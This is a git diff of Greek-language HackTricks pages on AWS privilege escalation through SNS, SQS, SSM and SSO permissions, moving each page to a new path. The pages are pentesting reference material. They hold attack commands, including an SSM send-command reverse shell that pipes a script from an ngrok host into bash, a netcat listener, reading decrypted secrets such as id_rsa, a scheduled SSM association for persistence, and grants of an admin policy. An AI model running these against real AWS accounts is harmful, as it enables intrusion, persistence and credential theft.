επιτιθέμενος θα μπορούσε να εγγραφεί ή σε ένα θέμα SNS, αποκτώντας πιθανώς μη εξουσιοδοτημένη πρόσβαση σε μηνύματα ή διαταράσσοντας τη φυσιολογική λειτουργία εφαρμογών που βασίζονται στο θέμα. -```bash -aws sns subscribe --topic-arn --protocol --endpoint -``` -**Πιθανές Επιπτώσεις**: Μη εξουσιοδοτημένη πρόσβαση σε μηνύματα (ευαίσθητες πληροφορίες), διακοπή υπηρεσίας για εφαρμογές που βασίζονται στο επηρεαζόμενο θέμα. - -### `sns:AddPermission` - -Ένας επιτιθέμενος θα μπορούσε να παραχωρήσει μη εξουσιοδοτημένους χρήστες ή υπηρεσίες πρόσβαση σε ένα θέμα SNS, αποκτώντας ενδεχομένως περαιτέρω δικαιώματα. -```css -aws sns add-permission --topic-arn --label --aws-account-id --action-name -``` -**Πιθανές Επιπτώσεις**: Μη εξουσιοδοτημένη πρόσβαση στο θέμα, έκθεση μηνυμάτων ή χειρισμός του θέματος από μη εξουσιοδοτημένους χρήστες ή υπηρεσίες, διακοπή της κανονικής λειτουργίας για εφαρμογές που βασίζονται στο θέμα. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc/README.md new file mode 100644 index 000000000..e3f1e6e73 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc/README.md @@ -0,0 +1,81 @@ +# AWS - SNS Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## SNS + +Για περισσότερες πληροφορίες δείτε: + +{{#ref}} +../../aws-services/aws-sns-enum.md +{{#endref}} + +### `sns:Publish` + +Ένας επιτιθέμενος θα μπορούσε να στείλει κακόβουλα ή ανεπιθύμητα μηνύματα στο SNS topic, πιθανώς προκαλώντας αλλοίωση δεδομένων, ενεργοποιώντας ανεπιθύμητες ενέργειες ή εξαντλώντας πόρους. +```bash +aws sns publish --topic-arn --message +``` +**Ενδεχόμενος Αντίκτυπος**: Εκμετάλλευση ευπαθειών, αλλοίωση δεδομένων, ακούσιες ενέργειες ή εξάντληση πόρων. + +### `sns:Subscribe` + +Ένας επιτιθέμενος θα μπορούσε να εγγραφεί σε ένα θέμα του SNS, ενδεχομένως αποκτώντας μη εξουσιοδοτημένη πρόσβαση σε μηνύματα ή διαταράσσοντας τη φυσιολογική λειτουργία εφαρμογών που βασίζονται στο θέμα. +```bash +aws sns subscribe --topic-arn --protocol --endpoint +``` +**Πιθανός Αντίκτυπος**: Μη εξουσιοδοτημένη πρόσβαση σε μηνύματα (ευαίσθητες πληροφορίες), διακοπή υπηρεσίας για εφαρμογές που εξαρτώνται από το επηρεασμένο topic. + +### `sns:AddPermission` + +Ένας επιτιθέμενος θα μπορούσε να χορηγήσει σε μη εξουσιοδοτημένους χρήστες ή υπηρεσίες πρόσβαση σε ένα SNS topic, ενδεχομένως αποκτώντας περαιτέρω δικαιώματα. +```bash +aws sns add-permission --topic-arn --label --aws-account-id --action-name +``` +**Ενδεχόμενος Αντίκτυπος**: Μη εξουσιοδοτημένη πρόσβαση στο topic, έκθεση μηνυμάτων ή χειραγώγηση του topic από μη εξουσιοδοτημένους χρήστες ή υπηρεσίες, διατάραξη της κανονικής λειτουργίας εφαρμογών που εξαρτώνται από το topic. + + +### Κλήση μιας Lambda με κατάχρηση wildcard δικαιώματος SNS (χωρίς `SourceArn`) + +Εάν μια πολιτική βάσει πόρων της συνάρτησης Lambda επιτρέπει στο `sns.amazonaws.com` να την καλεί χωρίς να περιορίζει το source topic (`SourceArn`), οποιοδήποτε SNS topic (ακόμα και σε άλλο λογαριασμό) μπορεί να εγγραφεί και να ενεργοποιήσει τη συνάρτηση. Ένας επιτιθέμενος με βασικά δικαιώματα SNS μπορεί να αναγκάσει τη Lambda να εκτελεστεί υπό το IAM role της με εισόδους ελεγχόμενες από τον επιτιθέμενο. + +> [!TIP] +> TODO: Μπορεί αυτό πραγματικά να γίνει cross-account; + +Προϋποθέσεις +- Η πολιτική Lambda του θύματος περιέχει μια δήλωση όπως παρακάτω, χωρίς συνθήκη `SourceArn`: +```json +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": {"Service": "sns.amazonaws.com"}, +"Action": "lambda:InvokeFunction" +// No Condition/SourceArn restriction here +} +] +} +``` +Abuse βήματα (ίδιος λογαριασμός ή cross-account) +```bash +# 1) Create a topic you control +ATTACKER_TOPIC_ARN=$(aws sns create-topic --name attacker-coerce --region us-east-1 --query TopicArn --output text) + +# 2) Subscribe the victim Lambda to your topic +aws sns subscribe \ +--region us-east-1 \ +--topic-arn "$ATTACKER_TOPIC_ARN" \ +--protocol lambda \ +--notification-endpoint arn:aws:lambda:us-east-1::function: + +# 3) Publish an attacker-controlled message to trigger the Lambda +aws sns publish \ +--region us-east-1 \ +--topic-arn "$ATTACKER_TOPIC_ARN" \ +--message '{"Records":[{"eventSource":"aws:s3","eventName":"ObjectCreated:Put","s3":{"bucket":{"name":"attacker-bkt"},"object":{"key":"payload.bin"}}}]}' +``` +**Πιθανός αντίκτυπος**: Η victim Lambda εκτελείται με το IAM role της και επεξεργάζεται attacker-controlled input. Αυτό μπορεί να εκμεταλλευτεί ώστε η function να εκτελέσει ευαίσθητες ενέργειες (π.χ., write to S3, access secrets, modify resources) ανάλογα με τα permissions της. + + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md deleted file mode 100644 index e47d093c0..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md +++ /dev/null @@ -1,40 +0,0 @@ -# AWS - SQS Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## SQS - -Για περισσότερες πληροφορίες ελέγξτε: - -{{#ref}} -../aws-services/aws-sqs-and-sns-enum.md -{{#endref}} - -### `sqs:AddPermission` - -Ένας επιτιθέμενος θα μπορούσε να χρησιμοποιήσει αυτή την άδεια για να παραχωρήσει πρόσβαση σε μη εξουσιοδοτημένους χρήστες ή υπηρεσίες σε μια SQS ουρά δημιουργώντας νέες πολιτικές ή τροποποιώντας υπάρχουσες πολιτικές. Αυτό θα μπορούσε να έχει ως αποτέλεσμα μη εξουσιοδοτημένη πρόσβαση στα μηνύματα της ουράς ή χειρισμό της ουράς από μη εξουσιοδοτημένες οντότητες. -```bash -cssCopy codeaws sqs add-permission --queue-url --actions --aws-account-ids --label -``` -**Πιθανές Επιπτώσεις**: Μη εξουσιοδοτημένη πρόσβαση στην ουρά, έκθεση μηνυμάτων ή χειρισμός της ουράς από μη εξουσιοδοτημένους χρήστες ή υπηρεσίες. - -### `sqs:SendMessage` , `sqs:SendMessageBatch` - -Ένας επιτιθέμενος θα μπορούσε να στείλει κακόβουλα ή ανεπιθύμητα μηνύματα στην ουρά SQS, ενδεχομένως προκαλώντας διαφθορά δεδομένων, ενεργοποιώντας μη επιθυμητές ενέργειες ή εξαντλώντας πόρους. -```bash -aws sqs send-message --queue-url --message-body -aws sqs send-message-batch --queue-url --entries -``` -**Πιθανές Επιπτώσεις**: Εκμετάλλευση ευπαθειών, Διαφθορά δεδομένων, μη προγραμματισμένες ενέργειες ή εξάντληση πόρων. - -### `sqs:ReceiveMessage`, `sqs:DeleteMessage`, `sqs:ChangeMessageVisibility` - -Ένας επιτιθέμενος θα μπορούσε να λάβει, να διαγράψει ή να τροποποιήσει την ορατότητα μηνυμάτων σε μια SQS ουρά, προκαλώντας απώλεια μηνυμάτων, διαφθορά δεδομένων ή διακοπή υπηρεσίας για εφαρμογές που βασίζονται σε αυτά τα μηνύματα. -```bash -aws sqs receive-message --queue-url -aws sqs delete-message --queue-url --receipt-handle -aws sqs change-message-visibility --queue-url --receipt-handle --visibility-timeout -``` -**Πιθανές Επιπτώσεις**: Κλοπή ευαίσθητων πληροφοριών, απώλεια μηνυμάτων, διαφθορά δεδομένων και διακοπή υπηρεσιών για εφαρμογές που βασίζονται στα επηρεαζόμενα μηνύματα. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc/README.md new file mode 100644 index 000000000..768702cda --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc/README.md @@ -0,0 +1,40 @@ +# AWS - SQS Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## SQS + +Για περισσότερες πληροφορίες δείτε: + +{{#ref}} +../../aws-services/aws-sqs-and-sns-enum.md +{{#endref}} + +### `sqs:AddPermission` + +Ένας επιτιθέμενος θα μπορούσε να χρησιμοποιήσει αυτό το δικαίωμα για να χορηγήσει σε μη εξουσιοδοτημένους χρήστες ή υπηρεσίες πρόσβαση σε μια ουρά SQS δημιουργώντας νέες πολιτικές ή τροποποιώντας υπάρχουσες πολιτικές. Αυτό μπορεί να οδηγήσει σε μη εξουσιοδοτημένη πρόσβαση στα μηνύματα στην ουρά ή σε χειραγώγηση της ουράς από μη εξουσιοδοτημένες οντότητες. +```bash +aws sqs add-permission --queue-url --actions --aws-account-ids --label +``` +**Πιθανός Αντίκτυπος**: Μη εξουσιοδοτημένη πρόσβαση στην ουρά, έκθεση μηνυμάτων ή χειρισμός της ουράς από μη εξουσιοδοτημένους χρήστες ή υπηρεσίες. + +### `sqs:SendMessage` , `sqs:SendMessageBatch` + +Ένας επιτιθέμενος θα μπορούσε να στείλει κακόβουλα ή ανεπιθύμητα μηνύματα στην SQS queue, ενδεχομένως προκαλώντας αλλοίωση δεδομένων, ενεργοποίηση μη επιθυμητών ενεργειών ή εξάντληση πόρων. +```bash +aws sqs send-message --queue-url --message-body +aws sqs send-message-batch --queue-url --entries +``` +**Πιθανές Επιπτώσεις**: Εκμετάλλευση ευπάθειας, διαφθορά δεδομένων, μη επιθυμητές ενέργειες ή εξάντληση πόρων. + +### `sqs:ReceiveMessage`, `sqs:DeleteMessage`, `sqs:ChangeMessageVisibility` + +Ένας επιτιθέμενος θα μπορούσε να λάβει, να διαγράψει ή να τροποποιήσει την ορατότητα των μηνυμάτων σε μια ουρά SQS, προκαλώντας απώλεια μηνυμάτων, διαφθορά δεδομένων ή διακοπή υπηρεσίας για εφαρμογές που βασίζονται σε αυτά τα μηνύματα. +```bash +aws sqs receive-message --queue-url +aws sqs delete-message --queue-url --receipt-handle +aws sqs change-message-visibility --queue-url --receipt-handle --visibility-timeout +``` +**Πιθανές Επιπτώσεις**: Κλοπή ευαίσθητων πληροφοριών, απώλεια μηνυμάτων, καταστροφή δεδομένων και διακοπή λειτουργίας υπηρεσιών για εφαρμογές που βασίζονται στα επηρεαζόμενα μηνύματα. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md deleted file mode 100644 index 1539e58fc..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md +++ /dev/null @@ -1,130 +0,0 @@ -# AWS - SSM Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## SSM - -Για περισσότερες πληροφορίες σχετικά με το SSM, ελέγξτε: - -{{#ref}} -../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ -{{#endref}} - -### `ssm:SendCommand` - -Ένας επιτιθέμενος με την άδεια **`ssm:SendCommand`** μπορεί να **εκτελεί εντολές σε instances** που εκτελούν τον Amazon SSM Agent και να **συμβιβάσει τον IAM Ρόλο** που εκτελείται μέσα σε αυτόν. -```bash -# Check for configured instances -aws ssm describe-instance-information -aws ssm describe-sessions --state Active - -# Send rev shell command -aws ssm send-command --instance-ids "$INSTANCE_ID" \ ---document-name "AWS-RunShellScript" --output text \ ---parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash" -``` -Σε περίπτωση που χρησιμοποιείτε αυτή την τεχνική για να κλιμακώσετε τα προνόμια μέσα σε μια ήδη παραβιασμένη EC2 instance, μπορείτε απλά να καταγράψετε το rev shell τοπικά με: -```bash -# If you are in the machine you can capture the reverseshel inside of it -nc -lvnp 4444 #Inside the EC2 instance -aws ssm send-command --instance-ids "$INSTANCE_ID" \ ---document-name "AWS-RunShellScript" --output text \ ---parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash" -``` -**Πιθανές Επιπτώσεις:** Άμεση εκμετάλλευση των EC2 IAM ρόλων που είναι συνδεδεμένοι με τρέχουσες περιπτώσεις με SSM Agents σε λειτουργία. - -### `ssm:StartSession` - -Ένας επιτιθέμενος με την άδεια **`ssm:StartSession`** μπορεί να **ξεκινήσει μια συνεδρία παρόμοια με SSH σε περιπτώσεις** που εκτελούν τον Amazon SSM Agent και **να παραβιάσει τον IAM Ρόλο** που εκτελείται μέσα σε αυτόν. -```bash -# Check for configured instances -aws ssm describe-instance-information -aws ssm describe-sessions --state Active - -# Send rev shell command -aws ssm start-session --target "$INSTANCE_ID" -``` -> [!CAUTION] -> Για να ξεκινήσετε μια συνεδρία, χρειάζεστε το **SessionManagerPlugin** εγκατεστημένο: [https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html](https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html) - -**Πιθανές Επιπτώσεις:** Άμεση εκμετάλλευση δικαιωμάτων στις IAM ρόλους EC2 που είναι συνδεδεμένοι με τρέχουσες παρουσίες με SSM Agents σε λειτουργία. - -#### Εκμετάλλευση δικαιωμάτων σε ECS - -Όταν οι **ECS tasks** εκτελούνται με **`ExecuteCommand` ενεργοποιημένο**, οι χρήστες με αρκετά δικαιώματα μπορούν να χρησιμοποιήσουν `ecs execute-command` για να **εκτελέσουν μια εντολή** μέσα στο κοντέινερ.\ -Σύμφωνα με [**την τεκμηρίωση**](https://aws.amazon.com/blogs/containers/new-using-amazon-ecs-exec-access-your-containers-fargate-ec2/), αυτό γίνεται δημιουργώντας ένα ασφαλές κανάλι μεταξύ της συσκευής που χρησιμοποιείτε για να ξεκινήσετε την εντολή “_exec_“ και του στοχευμένου κοντέινερ με τον SSM Session Manager. (Το SSM Session Manager Plugin είναι απαραίτητο για να λειτουργήσει αυτό)\ -Επομένως, οι χρήστες με `ssm:StartSession` θα μπορούν να **αποκτήσουν ένα shell μέσα στις ECS tasks** με αυτή την επιλογή ενεργοποιημένη απλά εκτελώντας: -```bash -aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID" -``` -![](<../../../images/image (185).png>) - -**Πιθανές Επιπτώσεις:** Άμεση εκμετάλλευση δικαιωμάτων για τους ρόλους `ECS` IAM που είναι συνδεδεμένοι σε εκτελούμενα καθήκοντα με ενεργοποιημένο `ExecuteCommand`. - -### `ssm:ResumeSession` - -Ένας επιτιθέμενος με την άδεια **`ssm:ResumeSession`** μπορεί να επαν-**ξεκινήσει μια συνεδρία παρόμοια με SSH σε περιπτώσεις** που εκτελούν τον Amazon SSM Agent με κατάσταση συνεδρίας SSM **αποσυνδεδεμένη** και να **παραβιάσει τον IAM Ρόλο** που εκτελείται μέσα σε αυτήν. -```bash -# Check for configured instances -aws ssm describe-sessions - -# Get resume data (you will probably need to do something else with this info to connect) -aws ssm resume-session \ ---session-id Mary-Major-07a16060613c408b5 -``` -**Πιθανές Επιπτώσεις:** Άμεση εκμετάλλευση δικαιωμάτων προς τους ρόλους IAM EC2 που είναι συνδεδεμένοι σε τρέχουσες περιπτώσεις με εκτελούμενους SSM Agents και αποσυνδεδεμένες συνεδρίες. - -### `ssm:DescribeParameters`, (`ssm:GetParameter` | `ssm:GetParameters`) - -Ένας επιτιθέμενος με τις αναφερόμενες άδειες θα είναι σε θέση να καταγράψει τις **παραμέτρους SSM** και **να τις διαβάσει σε καθαρό κείμενο**. Σε αυτές τις παραμέτρους μπορείτε συχνά **να βρείτε ευαίσθητες πληροφορίες** όπως κλειδιά SSH ή κλειδιά API. -```bash -aws ssm describe-parameters -# Suppose that you found a parameter called "id_rsa" -aws ssm get-parameters --names id_rsa --with-decryption -aws ssm get-parameter --name id_rsa --with-decryption -``` -**Πιθανές Επιπτώσεις:** Βρείτε ευαίσθητες πληροφορίες μέσα στις παραμέτρους. - -### `ssm:ListCommands` - -Ένας επιτιθέμενος με αυτή την άδεια μπορεί να απαριθμήσει όλες τις **εντολές** που έχουν σταλεί και ελπίζουμε να βρει **ευαίσθητες πληροφορίες** σε αυτές. -``` -aws ssm list-commands -``` -**Πιθανές Επιπτώσεις:** Βρείτε ευαίσθητες πληροφορίες μέσα στις γραμμές εντολών. - -### `ssm:GetCommandInvocation`, (`ssm:ListCommandInvocations` | `ssm:ListCommands`) - -Ένας επιτιθέμενος με αυτές τις άδειες μπορεί να απαριθμήσει όλες τις **εντολές** που έχουν σταλεί και να **διαβάσει την έξοδο** που έχει παραχθεί ελπίζοντας να βρει **ευαίσθητες πληροφορίες** σε αυτήν. -```bash -# You can use any of both options to get the command-id and instance id -aws ssm list-commands -aws ssm list-command-invocations - -aws ssm get-command-invocation --command-id --instance-id -``` -**Πιθανές Επιπτώσεις:** Βρείτε ευαίσθητες πληροφορίες μέσα στην έξοδο των γραμμών εντολών. - -### Χρησιμοποιώντας ssm:CreateAssociation - -Ένας επιτιθέμενος με την άδεια **`ssm:CreateAssociation`** μπορεί να δημιουργήσει μια Σύνδεση Διαχειριστή Κατάστασης για να εκτελεί αυτόματα εντολές σε EC2 instances που διαχειρίζεται το SSM. Αυτές οι συνδέσεις μπορούν να ρυθμιστούν ώστε να εκτελούνται σε σταθερά διαστήματα, καθιστώντας τις κατάλληλες για επιμονή τύπου backdoor χωρίς διαδραστικές συνεδρίες. -```bash -aws ssm create-association \ ---name SSM-Document-Name \ ---targets Key=InstanceIds,Values=target-instance-id \ ---parameters commands=["malicious-command"] \ ---schedule-expression "rate(30 minutes)" \ ---association-name association-name -``` -> [!NOTE] -> Αυτή η μέθοδος επιμονής λειτουργεί όσο η EC2 instance διαχειρίζεται από το Systems Manager, ο SSM agent είναι ενεργός και ο επιτιθέμενος έχει άδεια να δημιουργεί συσχετίσεις. Δεν απαιτεί διαδραστικές συνεδρίες ή ρητές άδειες ssm:SendCommand. **Σημαντικό:** Η παράμετρος `--schedule-expression` (π.χ., `rate(30 minutes)`) πρέπει να σέβεται το ελάχιστο διάστημα 30 λεπτών της AWS. Για άμεση ή μία φορά εκτέλεση, παραλείψτε εντελώς το `--schedule-expression` — η συσχέτιση θα εκτελείται μία φορά μετά τη δημιουργία. - -### Codebuild - -Μπορείτε επίσης να χρησιμοποιήσετε το SSM για να μπείτε σε ένα έργο codebuild που κατασκευάζεται: - -{{#ref}} -aws-codebuild-privesc.md -{{#endref}} - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md new file mode 100644 index 000000000..2214d4aa5 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md @@ -0,0 +1,130 @@ +# AWS - SSM Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## SSM + +Για περισσότερες πληροφορίες σχετικά με το SSM δείτε: + +{{#ref}} +../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ +{{#endref}} + +### `ssm:SendCommand` + +Ένας attacker με την άδεια **`ssm:SendCommand`** μπορεί να **εκτελέσει εντολές σε instances** που τρέχουν τον Amazon SSM Agent και να **παραβιάσει το IAM Role** που τρέχει μέσα σε αυτά. +```bash +# Check for configured instances +aws ssm describe-instance-information +aws ssm describe-sessions --state Active + +# Send rev shell command +aws ssm send-command --instance-ids "$INSTANCE_ID" \ +--document-name "AWS-RunShellScript" --output text \ +--parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash" +``` +Σε περίπτωση που χρησιμοποιείτε αυτήν την τεχνική για να escalate privileges μέσα σε ένα ήδη compromised EC2 instance, μπορείτε απλά να καταγράψετε το rev shell τοπικά με: +```bash +# If you are in the machine you can capture the reverseshel inside of it +nc -lvnp 4444 #Inside the EC2 instance +aws ssm send-command --instance-ids "$INSTANCE_ID" \ +--document-name "AWS-RunShellScript" --output text \ +--parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash" +``` +**Πιθανός Αντίκτυπος:** Άμεση privesc στα EC2 IAM roles που είναι συνημμένα σε instances που τρέχουν SSM Agents. + +### `ssm:StartSession` + +Ένας επιτιθέμενος με την άδεια **`ssm:StartSession`** μπορεί να **ξεκινήσει μια σύνδεση τύπου SSH σε instances** που τρέχουν τον Amazon SSM Agent και να **compromise the IAM Role** που τρέχει μέσα σε αυτήν. +```bash +# Check for configured instances +aws ssm describe-instance-information +aws ssm describe-sessions --state Active + +# Send rev shell command +aws ssm start-session --target "$INSTANCE_ID" +``` +> [!CAUTION] +> Για να ξεκινήσετε μια συνεδρία χρειάζεται να έχετε εγκαταστήσει το **SessionManagerPlugin**: [https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html](https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html) + +**Potential Impact:** Άμεσο privesc στα EC2 IAM roles που είναι attached σε εκτελούμενες instances με ενεργούς SSM Agents. + +#### Privesc σε ECS + +Όταν οι **ECS tasks** τρέχουν με **`ExecuteCommand` enabled** χρήστες με επαρκή δικαιώματα μπορούν να χρησιμοποιήσουν `ecs execute-command` για να **εκτελέσουν μια εντολή** μέσα στο container.\ +Σύμφωνα με [**την τεκμηρίωση**](https://aws.amazon.com/blogs/containers/new-using-amazon-ecs-exec-access-your-containers-fargate-ec2/) αυτό γίνεται δημιουργώντας ένα ασφαλές κανάλι μεταξύ της συσκευής που χρησιμοποιείτε για να ξεκινήσετε την “_exec_“ εντολή και του στοχευμένου container με το SSM Session Manager. (SSM Session Manager Plugin απαραίτητο για να λειτουργήσει αυτό)\ +Επομένως, χρήστες με `ssm:StartSession` θα μπορούν να **αποκτήσουν shell μέσα σε ECS tasks** με αυτή την επιλογή ενεργοποιημένη απλώς εκτελώντας: +```bash +aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID" +``` +![](<../../../images/image (185).png>) + +**Πιθανός Αντίκτυπος:** Άμεση privesc στα `ECS` IAM roles που είναι συνδεδεμένα με running tasks με ενεργοποιημένο το `ExecuteCommand`. + +### `ssm:ResumeSession` + +Ένας attacker με την άδεια **`ssm:ResumeSession`** μπορεί να re-**start a SSH like session in instances** που τρέχουν τον Amazon SSM Agent με κατάσταση SSM συνεδρίας **disconnected** και να **compromise the IAM Role** που τρέχει μέσα σε αυτήν. +```bash +# Check for configured instances +aws ssm describe-sessions + +# Get resume data (you will probably need to do something else with this info to connect) +aws ssm resume-session \ +--session-id Mary-Major-07a16060613c408b5 +``` +**Potential Impact:** Άμεσο privesc στους EC2 IAM roles που είναι συνδεδεμένοι με running instances που έχουν SSM Agents σε λειτουργία και αποσυνδεδεμένες συνεδρίες. + +### `ssm:DescribeParameters`, (`ssm:GetParameter` | `ssm:GetParameters`) + +Ένας επιτιθέμενος με τα αναφερόμενα δικαιώματα θα μπορεί να απαριθμήσει τα **SSM parameters** και να **τα διαβάσει σε clear-text**. Σε αυτές τις παραμέτρους συχνά μπορείτε να **βρείτε ευαίσθητες πληροφορίες** όπως SSH keys ή API keys. +```bash +aws ssm describe-parameters +# Suppose that you found a parameter called "id_rsa" +aws ssm get-parameters --names id_rsa --with-decryption +aws ssm get-parameter --name id_rsa --with-decryption +``` +**Potential Impact:** Εύρεση ευαίσθητων πληροφοριών μέσα στις παραμέτρους. + +### `ssm:ListCommands` + +Ένας attacker με αυτή την άδεια μπορεί να απαριθμήσει όλες τις **commands** που στάλθηκαν και, ενδεχομένως, να βρει **ευαίσθητες πληροφορίες** σε αυτές. +``` +aws ssm list-commands +``` +**Potential Impact:** Βρείτε ευαίσθητες πληροφορίες μέσα στις γραμμές εντολών. + +### `ssm:GetCommandInvocation`, (`ssm:ListCommandInvocations` | `ssm:ListCommands`) + +Ένας επιτιθέμενος με αυτά τα δικαιώματα μπορεί να απαριθμήσει όλες τις **εντολές** που στάλθηκαν και να **διαβάσει την έξοδο** που παράχθηκε, ελπίζοντας να βρει **ευαίσθητες πληροφορίες** σε αυτή. +```bash +# You can use any of both options to get the command-id and instance id +aws ssm list-commands +aws ssm list-command-invocations + +aws ssm get-command-invocation --command-id --instance-id +``` +**Πιθανός Αντίκτυπος:** Μπορεί να αποκαλυφθούν ευαίσθητες πληροφορίες στην έξοδο των εντολών. + +### Χρήση του ssm:CreateAssociation + +Ένας επιτιθέμενος με την άδεια **`ssm:CreateAssociation`** μπορεί να δημιουργήσει ένα State Manager Association για να εκτελεί αυτόματα εντολές σε EC2 instances που διαχειρίζονται από SSM. Αυτές οι associations μπορούν να ρυθμιστούν να εκτελούνται σε σταθερά διαστήματα, καθιστώντας τες κατάλληλες για backdoor-like persistence χωρίς διαδραστικές συνεδρίες. +```bash +aws ssm create-association \ +--name SSM-Document-Name \ +--targets Key=InstanceIds,Values=target-instance-id \ +--parameters commands=["malicious-command"] \ +--schedule-expression "rate(30 minutes)" \ +--association-name association-name +``` +> [!NOTE] +> Αυτή η μέθοδος persistence λειτουργεί όσο το EC2 instance διαχειρίζεται από Systems Manager, ο SSM agent τρέχει, και ο επιτιθέμενος έχει άδεια να δημιουργεί associations. Δεν απαιτεί interactive sessions ή ρητές άδειες ssm:SendCommand. **Σημαντικό:** Η παράμετρος `--schedule-expression` (π.χ., `rate(30 minutes)`) πρέπει να σέβεται το ελάχιστο διάστημα που ορίζει η AWS, 30 λεπτά. Για άμεση ή εφάπαξ εκτέλεση, παραλείψτε εντελώς την παράμετρο `--schedule-expression` — η association θα εκτελεστεί μία φορά μετά τη δημιουργία. + +### Codebuild + +Μπορείτε επίσης να χρησιμοποιήσετε το SSM για να μπείτε σε ένα codebuild project που χτίζεται: + +{{#ref}} +../aws-codebuild-privesc/README.md +{{#endref}} + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md deleted file mode 100644 index f2575d14c..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md +++ /dev/null @@ -1,112 +0,0 @@ -# AWS - SSO & identitystore Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## AWS Identity Center / AWS SSO - -Για περισσότερες πληροφορίες σχετικά με το AWS Identity Center / AWS SSO, ελέγξτε: - -{{#ref}} -../aws-services/aws-iam-enum.md -{{#endref}} - -> [!WARNING] -> Σημειώστε ότι από **προεπιλογή**, μόνο **χρήστες** με δικαιώματα **από** τον **Λογαριασμό Διαχείρισης** θα μπορούν να έχουν πρόσβαση και **να ελέγχουν το IAM Identity Center**.\ -> Χρήστες από άλλους λογαριασμούς μπορούν να το επιτρέψουν μόνο αν ο λογαριασμός είναι **Ανατεθειμένος Διαχειριστής.**\ -> [Δείτε τα έγγραφα για περισσότερες πληροφορίες.](https://docs.aws.amazon.com/singlesignon/latest/userguide/delegated-admin.html) - -### ~~Reset Password~~ - -Ένας εύκολος τρόπος για να κλιμακώσετε τα δικαιώματα σε περιπτώσεις όπως αυτή θα ήταν να έχετε μια άδεια που να επιτρέπει την επαναφορά των κωδικών πρόσβασης των χρηστών. Δυστυχώς, είναι μόνο δυνατό να στείλετε ένα email στον χρήστη για να επαναφέρει τον κωδικό του, οπότε θα χρειαστείτε πρόσβαση στο email του χρήστη. - -### `identitystore:CreateGroupMembership` - -Με αυτή την άδεια είναι δυνατό να τοποθετήσετε έναν χρήστη μέσα σε μια ομάδα ώστε να κληρονομήσει όλα τα δικαιώματα που έχει η ομάδα. -```bash -aws identitystore create-group-membership --identity-store-id --group-id --member-id UserId= -``` -### `sso:PutInlinePolicyToPermissionSet`, `sso:ProvisionPermissionSet` - -Ένας επιτιθέμενος με αυτή την άδεια θα μπορούσε να παραχωρήσει επιπλέον άδειες σε ένα Permission Set που έχει παραχωρηθεί σε έναν χρήστη υπό τον έλεγχό του. -```bash -# Set an inline policy with admin privileges -aws sso-admin put-inline-policy-to-permission-set --instance-arn --permission-set-arn --inline-policy file:///tmp/policy.yaml - -# Content of /tmp/policy.yaml -{ -"Version": "2012-10-17", -"Statement": [ -{ -"Sid": "Statement1", -"Effect": "Allow", -"Action": ["*"], -"Resource": ["*"] -} -] -} - -# Update the provisioning so the new policy is created in the account -aws sso-admin provision-permission-set --instance-arn --permission-set-arn --target-type ALL_PROVISIONED_ACCOUNTS -``` -### `sso:AttachManagedPolicyToPermissionSet`, `sso:ProvisionPermissionSet` - -Ένας επιτιθέμενος με αυτή την άδεια θα μπορούσε να παραχωρήσει επιπλέον άδειες σε ένα Permission Set που έχει παραχωρηθεί σε έναν χρήστη υπό τον έλεγχό του. -```bash -# Set AdministratorAccess policy to the permission set -aws sso-admin attach-managed-policy-to-permission-set --instance-arn --permission-set-arn --managed-policy-arn "arn:aws:iam::aws:policy/AdministratorAccess" - -# Update the provisioning so the new policy is created in the account -aws sso-admin provision-permission-set --instance-arn --permission-set-arn --target-type ALL_PROVISIONED_ACCOUNTS -``` -### 